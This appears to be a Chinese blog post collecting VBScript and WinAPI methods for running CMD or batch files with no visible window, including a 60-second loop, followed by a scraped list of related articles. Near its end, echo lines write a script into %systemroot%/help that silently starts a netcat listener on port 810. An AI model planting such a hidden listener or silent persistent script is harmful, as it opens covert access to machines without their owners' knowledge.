用vbs运行CMD不显示窗口的方法汇总
2020年5月7日11:14:47
使用Cscript.exe运行vbs会弹出cmd窗口
避免方法:
管理员权限运行cmd,输入cscript.exe //H:WScript,将默认的脚本宿主改为 WScript.exe,即可解决。
Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c install.bat",vbhide
#install.bat 为要执行的脚本名称,需要和xxx.vbs脚本放到同一个目录下
运行cmd.exe时,加了/c参数后它将运行/c后面的命令,不加参数的话,它只执行CMD命令。
system("xxx"),相当于执行cmd.exe /c xxx。
使用WinExec或ShellExecute和cmd.exe /c 来达到隐藏窗口的目的。
示例:
WinExec("cmd.exe /c dir > d:\\abc.txt", SW_HIDE);ShellExecute(nullptr, L"open", L"cmd.exe", L"/c dir > d:\\abc.txt", nullptr, SW_HIDE);
单次运行请用这个,修改auto.bat为你要运行的批处理文件的名字,并将以下内容保存为vbs格式,放到auto.bat文件所在目录,名字随便,例如run.vbs
Set shell = Wscript.createobject("wscript.shell")a = shell.run ("auto.bat",0)
循环运行请用这个,示例为每60秒运行一次,保存格式和所放置的目录同1所述
dim a
set a=CreateObject("Wscript.Shell")
Do
a.run "auto.bat"
Wscript.Sleep 60000
Loop
echo dim wsh > %systemroot%/help/test.vbs
echo set wsh=CreateObject("WScript.Shell") >> %systemroot%/help/test.vbs
echo wsh.run "cmd /c %systemroot%/help/nc -v -l -p 810 < %systemroot%/help/or.txt",0 >> %systemroot%/help/test.vbs
用vbs运行CMD不显示窗口的方法汇总相关推荐
- 如何快速以管理员身份运行cmd命令符窗口
电脑快速以管理员身份运行cmd命令符窗口 解决方法: 以前以管理员身份运行cmd窗口都要去C盘的System32下找cmd.exe,现在我又学到了一招,简单点: 右键"开始"-&g ...
- win11如何设置并排显示窗口 windows设置并排显示窗口的方法步骤
有时候我们在使用电脑的过程中需要同时开启多个任务窗口,而Win11系统是可以直接去设置并排显示窗口,那么应该要如何去设置呢?下面就和小编一起来看看应该如何操作吧.更多windows11系统教程,可以参 ...
- java清除运行窗口内容,Java实现软件运行时启动信息窗口的方法
本文实例形式详述了Java实现一个程序运行时的启动窗口效果,如常用的Microsoft Word. Borland JBuilder 等,这样的窗口称为信息窗口.使用信息窗口的好处是可以使用户在等待软 ...
- 以管理员身份运行cmd有哪几种方法
描述 除了右键"以管理员身份运行",还有哪几种方法,能够以管理员身份启动cmd 方式一:右键"以管理员方式运行" 方式二:powershell命令 Start- ...
- 运行cmd命令,窗口打开一闪而过,解决办法。
临时解决: cmd /d 彻底解决: 打开注册表,下面两处设置为空. HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun\R ...
- [转]无焦点显示窗口解决方法 [转]AttachThreadInput的用法
tag: 激活无焦点窗口 转自:http://blog.csdn.net/abcpanpeng/archive/2009/12/29/5099580.aspx 1.不同线程的处理方法 如何在2K/xp ...
- 无焦点显示窗口解决方法 [转]AttachThreadInput的用法
tag: 激活无焦点窗口 转自:http://blog.csdn.net/abcpanpeng/archive/2009/12/29/5099580.aspx 1.不同线程的处理方法 如何在2K/xp ...
- (转)无焦点显示窗口解决方法
原文链接:http://blog.csdn.net/abcpanpeng/archive/2009/12/29/5099580.aspx 1.不同线程的处理方法 如何在2K/xp下使窗口获取焦点 在2 ...
- ThInkPHP验证码不显示,解决方法汇总
出现ThInkPHP验证码不显示的情况 官方提示如下:如果无法显示验证码,请检查: ① PHP是否已经安装GD库支持: ② 输出之前是否有任何的输出(尤其是UTF8的BOM头信息输出):(打开验证码文 ...
最新文章
- 我怎样才能参加比特币现金9月1日压力测试?
- Linux 永久挂载(mount)
- 3D模型在网页上显示
- html表单全选框,form表单里如何实现全选和全不选
- 【图像处理】RGB Bayer Color分析
- HTTP协议中的Content-Encoding
- 3d button - where is OS type and version detected
- postgresql 查看page, index, tuple 详细信息
- [spring boot] ------ 总结1
- Vue源码系列(一):Vue源码解读的正确姿势
- Visual Studio安装指南
- 第八届ACM程序设计大赛总结
- 关于软件测试的基础认知分享
- 2016中国移动CRM洞察力论坛召开|码客荣获2016中国移动CRM产品创新奖
- C语言程序设计入门08——初识格式化输出1:格式化输出PI值
- 计算机小游戏有哪些,为你解答电脑小游戏有哪些
- 企业组织结构图怎么画?分享简单的结构图绘制方法
- python找不到scripts文件夹_快速解决安装python没有scripts文件夹的问题
- 工时、工期、执行时间计算方式
- TCP的三次握手与四次挥手详解
热门文章
- 混凝土静力受压弹性模量试验计算公式_混凝土试块检测要知道的9个技巧
- react改变checkbox的文字类型_reactjs – React复选框事件和处理程序的Typescript类型?...
- 建行计算机招聘考试考什么,银行招聘考试考什么
- linux入门 适合初学者_经过慎重考虑,我拿出这套适合初学者入门的Java基础完整版视频...
- java ftp 大文件_用Java实现FTP批量大文件上传下载(二)
- 免费ftp网站服务器软件,免费ftp服务器软件,免费ftp服务器软件有哪些呢?好用推荐...
- C语言丨检测用户键盘输入数据的合法性
- 计算机专业盲打,在win7系统电脑练习盲打的方法
- python迭代对象有哪些_Python可迭代对象操作示例
- nodejs mysql save_NodeJs Mysql简易操作工具